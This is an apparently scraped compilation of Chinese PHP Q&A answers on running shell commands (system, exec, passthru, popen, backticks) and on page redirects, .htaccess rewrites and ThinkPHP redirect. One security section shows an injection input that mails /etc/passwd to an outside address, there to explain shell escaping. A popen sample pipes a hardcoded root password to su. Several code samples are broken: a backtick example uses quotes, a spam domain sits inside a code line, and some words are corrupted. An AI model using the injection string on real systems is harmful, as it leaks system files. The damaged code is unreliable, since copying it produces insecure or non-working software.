『壹』 php運行EXEC文件
在PHP中調用外部命令,可以用如下三種方法來實現:
1) 用PHP提供的專門函數
PHP提供共了3個專門的執行外部命令的函數:system(),exec(),passthru()。
system()
原型:string
system (string command [, int return_var])
system()函數很其它語言中的差不多,它執行給定的命令,輸出和返回結果。第二個參數是可選的,用來得到命令執行後的狀態碼。
例子:
復制代碼
代碼如下:
<?php
system("/usr/local/bin/webalizer/webalizer");
?>
exec()
原型:string exec (string command [, string array [, int return_var]])
exec
()函數與system()類似,也執行給定的命令,但不輸出結果,而是返回結果的最後一行。雖然它只返回命令結果的最後一行,但用第二個參數array
可以得到完整的結果,方法是把結果逐行追加到array的結尾處。所以如果array不是空的,在調用之前最好用unset()最它清掉。只有指定了第二
個參數時,才可以用第三個參數,用來取得命令執行的狀態碼。
例子:
復制代碼
代碼如下:
<?php
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>
passthru()
原型:void passthru (string command [, int
return_var])
passthru
()只調用命令,不返回任何結果,但把命令的運行結果原樣地直接輸出到標准輸出設備上。所以passthru()函數經常用來調用象pbmplus
(Unix下的一個處理圖片的工具,輸出二進制的原始圖片的流)這樣的程序。同樣它也可以得到命令執行的狀態碼。
例子:
復制代碼
代碼如下:
<?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?>
2)
用popen()函數打開進程
上面的方法只能簡單地執行命令,卻不能與命令交互。但有些時候必須向命令輸入一些東西,如在增加Linux的系統用戶時,要調用su來把當前用戶換到root才行,而su命令必須要在命令行上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。
popen
()函數打開一個進程管道來執行給定的命令,返回一個文件句柄。既然返回的是一個文件句柄,那麼就可以對它讀和寫了。在PHP3中,對這種句柄只能做單一
的操作模式,要麼寫,要麼讀;從PHP4開始,可以同時讀和寫了。除非這個句柄是以一種模式(讀或寫)打開的,否則必須調用pclose()函數來關閉 它。
例子1:
復制代碼
代碼如下:
<?php
$fp=popen("/bin/ls -l", "r");
?>
例子2:
復制代碼
代碼如下:
<?php
/* PHP中如何增加一個系統用戶
下面是一段常式,增加一個名字為james的用戶,
root密碼是 verygood。僅供參考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>
3)
用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面)
這個方法以前沒有歸入PHP的文檔,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執行的命令括起來作為一個表達式,這個表達式的值就是命令執行的結果。如:
復制代碼
代碼如下:
<?php
$res='/bin/ls -l';
echo '
'.$res.'
';
?>
這個腳本的輸出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考慮些什麼?
要考慮兩個問題:安全性和超時。
先
看安全性。比如,你有一家小型的網上商店,所以可以出售的產品列表放在一個文件中。你編寫了一個有表單的HTML文件,讓你的用戶輸入他們的EMAIL地
址,然後把這個產品列表發給他們。假設你沒有使用PHP的mail()函數(或者從未聽說過),你就調用Linux/Unix系統的mail程序來發送這
個文件。程序就象這樣:
復制代碼
代碼如下:
<?php
system("mail $to <
procts.txt");
echo "我們的產品目錄已經發送到你的信箱:$to";
?>
用這段代碼,一般的用戶不會產生什麼危險,但實際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址:
'--bla ; mail [email protected] < /etc/passwd ;'
那麼這條命令最終變成:
'mail --bla ; mail [email protected] < /etc/passwd ; < procts.txt'
我相信,無論哪個網路管理人員見到這樣的命令,都會嚇出一身冷汗來。
幸
好,PHP為我們提供了兩個函數:EscapeShellCmd()和EscapeShellArg()。函數EscapeShellCmd把一個字元串
中所有可能瞞過Shell而去執行另外一個命令的字元轉義。這些字元在Shell中是有特殊含義的,象分號(),重定向(>)和從文件讀入
(<)等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字元串兩邊加上單引號,並把字元串中的單引號轉義,這樣這個字元串
就可以安全地作為命令的參數。
再來看看超時問題。如果要執行的命令要花費很長的時間,那麼應該把這個命令放到系統的後台去運
行。但在默認情況下,象system()等函數要等到這個命令運行完才返回(實際上是要等命令的輸出結果),這肯定會引起PHP腳本的超時。解決的辦法是
把命令的輸出重定向到另外一個文件或流中,如:
復制代碼
代碼如下:
<?php
system("/usr/local/bin/order_proc > /tmp/null &");
?>
『貳』 php 函數重定向 Warning: Cannot modify header information - headers already sent by (output
檢查以下兩個方面:
一、在文件的第一個<?php之前不得有任何內容,包括空白、空行
二、在header('Location:news_list.php?message=$message');語句之前不得有任何的echo或者其它輸出內容的語句
滿足以上兩點的情況下,就不會報告你這個錯誤。
『叄』 求PHP APACHE 重定向的寫法
先確保apache已經開啟了mod_rewrite,然後修改根目錄下的.htaccess文件:
(留意QUERY_STRING用法)
RewriteEngineOn
Options+FollowSymlinks
RewriteCond%{QUERY_STRING}^keyword=(.*)&p=(d*)$
RewriteRule^search$search.php?keyword=$1&p=$2[L]
『肆』 ThinkPHP redirect 循環重定向是什麼原因
一般出現循環重定向的原因就是許可權判斷出問題了
詳細點就是你的extends的文件作許可權判斷了,然後controller也做了許可權判斷,而且兩個判斷之間是彼此跳轉的,所以才會出現上述問題,你檢查下吧
『伍』 php網站建設怎麼做301重定向設置
做網站優化,我們基本知道url標准化需要採用301重定向。重定向說直白點,就是通過方法將各種網路請求重新定個方向轉到其它位置,也就是通常說的,網頁跳轉。那麼如何設置和製作301重定向呢?下面列舉幾個比較常見的情況:
步驟/方法
第一種:對整個網站的多個頁面設置301重定向方法
如果要對整個網站設置301重定向的話,建議大家還是單獨建立一個301.php,文件名可以自己取。代碼如下:
<?php
$the_host = $_SERVER['HTTP_HOST']; //取得進入所輸入的域名[網址:像www.siyuan-seo.com]
$the_url = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; //判斷地址後面部分
$the_url = strtolower($the_url); //將英文字母轉成小寫
if($the_url=="/index.php") //判斷是不是首頁
{
$the_url=""; //如果是首頁,賦值為空
}
if($the_host !== 'www.icoa.cn')//如果域名不是帶www的網址那麼進行下面的301跳轉
{
header('HTTP/1.1 301 Moved Permanently'); //發出301頭部
header('Location:http://www.siyuan-seo.com'.$the_url); //跳轉到帶www的網址
}
?>
注 意一下:代碼if($the_host !== 'www.siyuan-seo.com')中的「!==」是不完全等於的意思,也可以用「!=」不等於,這樣,除了可以將siyuan-seo.com 跳轉到帶www的網址,還可以把所有綁定到這個空間的域名跳轉的www.siyuan-seo.com。
301.php文件寫好後,用ftp軟體上傳到網站根目錄下,一般就是web文件下。那麼怎麼調用呢?其實也很簡單。
在需要設置301重定向的頁面中調用301.php,代碼:<?php include("301.php"); //301重定向 ?>將這個代碼放到你所有網頁的最前面,這樣就做好了。如下圖:
當你發現自己的才華撐不起野心時,就請安靜下來學習吧
『陸』 thinkphp內核程序,無法重定向
ThinkPHP redirect 方法
ThinkPHP redirect 方法可以實現頁面的重定向(跳轉)功能。redirect 方法語法如下:
$this->redirect(string url, array params, int delay, string msg)
參數說明:
參數
說明
url 必須,重定向的 URL 表達式。
params 可選,其它URL參數。
delay 可選, 重定向延時,單位為秒。
msg 可選,重定向提示信息。
ThinkPHP redirect 實例
在 Index 模塊 index 方法中,重定向到本模塊的 select 操作:
class IndexAction extends Action{
public function index(){
$this->redirect('select', array('status'=>1), 3, '頁面跳轉中~');
}
}
重定向後得到的 URL 可能為ex.php/Index/select/status/1
由於該方法調用了 U 函數來生成實際的 URL 重定向地址,因此重定向後的 URL 可能因配置不同而有所不同:
隱藏了入口文件 index.php 的
5idev.com/Index/select/status/1
隱藏了入口文件 index.php 且設置了偽靜態的
hom/Index/select/status/1.html
一些常用的 redirect 重定向例子:
// 不延時,直接重定向
$this->redirect('select', array('status'=>1));
// 延時跳轉,但不帶參數,輸出默認提示
$thi www.hbbz08.com s->redirect('select', '', 3);
// 重定向到其他模塊操作
$this->redirect('Public/login');
// 重定向到其他分組
$this->redirect('Admin-Public/login');
提示: 1.當延時跳轉時,必須輸入 params 參數(可以為空),也就是 delay 必須出現在第 3 位上。
2.如果發現跳轉後的 URL 有問題,由於 redirect 方法調用 U 方法來生成跳轉後的地址,這時候可以測試一下 U 方法生成的地址是否正確,再檢查一下系統配置。
3.如果不想使用 U 方法生成跳轉地址,可以直接使用 PHP header 函數或 $this->redirect 的原型函數 redirect(string url, int delay, string msg),注意該 url 是個絕對地址,具體參見 PHP header 函數。
redirect 重定向與 success/error 跳轉的區別
•redirect 是使用的 PHP header 重定向,而 success/error 是使用的 html meta http-equiv='Refresh' 屬性跳轉。
•redirect 無模板頁面,輸出的提示信息是直接在函數內 echo 輸出的,而 success/error 有對應的模板。
•redirect 與 success/error 都可以實現頁面的跳轉,只是 redirect 可以無延時重定向,具體採用哪種視具體情況而定。
『柒』 Thinkphp中 重定向redirect,和跳轉success,error的區別
我們通過兩個流程來看一下它們之間的區別。
Redirect
1. 用戶瀏覽器向 發送 GET 請求。
2. JSF收到請求,返回 start.xhtml 頁面。
3. 用戶點擊頁面中的按鈕。
4. JSF收到請求, 向瀏覽器發送 Redirect 指令 (3XX的HTTP狀態值)。
5. 瀏覽器收到指令, 發送另一個 GET 到 。
6.JSF返回page1.xhtml。
7. 瀏覽器顯示page1.xhtml。這時地址欄里顯示的是page1.xhtml。
Forward
1. 用戶瀏覽器向 發送 GET 請求。
2. JSF收到請求,返回 start.xhtml 頁面。
3. 用戶點擊頁面中的按鈕。
4. JSF收到請求, 直接渲染page1.xhtml頁面並返回給瀏覽器 。
5. 瀏覽器顯示 page1.xhtml。這時候地址欄里顯示的還是start.xhtml
由此可看出,重定向要比跳轉多發送一個請求,所以相對要慢一些。JSF默認全部採用 Forward的方式跳轉頁面。如果想要重定向頁面,可以在導航中添加 <redirect />,或者在 h:commandButton的action屬性後添加 "faces-redirect=true":
『捌』 php使用curl訪問的頁面中,出現重定向時, 如何獲取重定向後的內容
程序沒問題,能得到網頁內容並輸出。
有可能是你的 xxx.php 沒有重定向成功。
如果在Linux下,可以先用
wget http://www.xxx.com/xxx.php
看看有沒有輸出想要的結果。
我用來測試的 xxx.php
<?php
function redirect($url)
{
if(headers_sent()) {
return false;
}
if(substr($url, 0, 4) != 'http') {
$schema = $_SERVER['SERVER_PORT'] == '443' ? 'https' : 'http';
$host = strlen($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
$url = "$schema://$host$to";
}
header("HTTP/1.1 301 Moved Permanently");
header("Location: $url");
exit();
}
redirect('http://google.com/');
『玖』 PHP如何使404頁面重定向
最近在改一些東西,包括Discuz論壇,在處理Discuzde修改時特別是重新寫了一個404de頁面,讓用戶訪問不存在de頁面時去訪問這個404頁面。但是遇到了一個很奇怪de問題,即無法重定向到這個頁面。
最初操作:
1、把apache中de配置文件里 加入代碼:ErrorDocument 404 /404.php
2、在404頁面de代碼里加上<?php header(」HTTP/1.0 404 Not Found」 ?> 。這個方法是向客戶端發送一個自然deHTTP頭。這個方法要在沒you向客戶端發送任何信息之前使用,因此加在404.phpde文件頭最好。
經過對配置文件和DZ論壇代碼de查看,發現原因:rewrite規則問題,即我做偽靜態de處理,導致第二種地址規則you效,於是已經pass過了伺服器層,apachede404定義不再起作用,所以在讀取數據dephp文件會被執行。針對這種情況應該做處理。
處理:
1、找到被執行de文件:如viewthread.php;
2、在查詢數據後,加上對數據de判斷,如果為空,則填寫重定向代碼;
3、代碼:
if(如果沒you任何結果)
{
//以前是僅僅顯示「該帖子已經不存在」de提示,現在是:
require(』/404.php』);
@header(』HTTP/1.1 404 Not Found』);
@header(』Status: 404 Not Found』);
exit;
}
結果:以上問題解決,可以以404de狀態重定向到我自定義de404頁面。
『拾』 php 頁面重定向有什麼用呢,有什麼好處
頁面重定向可能達到兩個不同的地址可以訪問到相同的結果,這個功能主要是用在 SEO 和程序里的許可權控制方面。
比如你原來有個網站,搜索引擎已經收錄了,然後你改版了, URL 和原來的不一樣了,那麼你就要去添加重定向規則,讓原來的 URL 能正常的轉到新的 URL 上,否則搜索引擎里收錄的結果都不能用了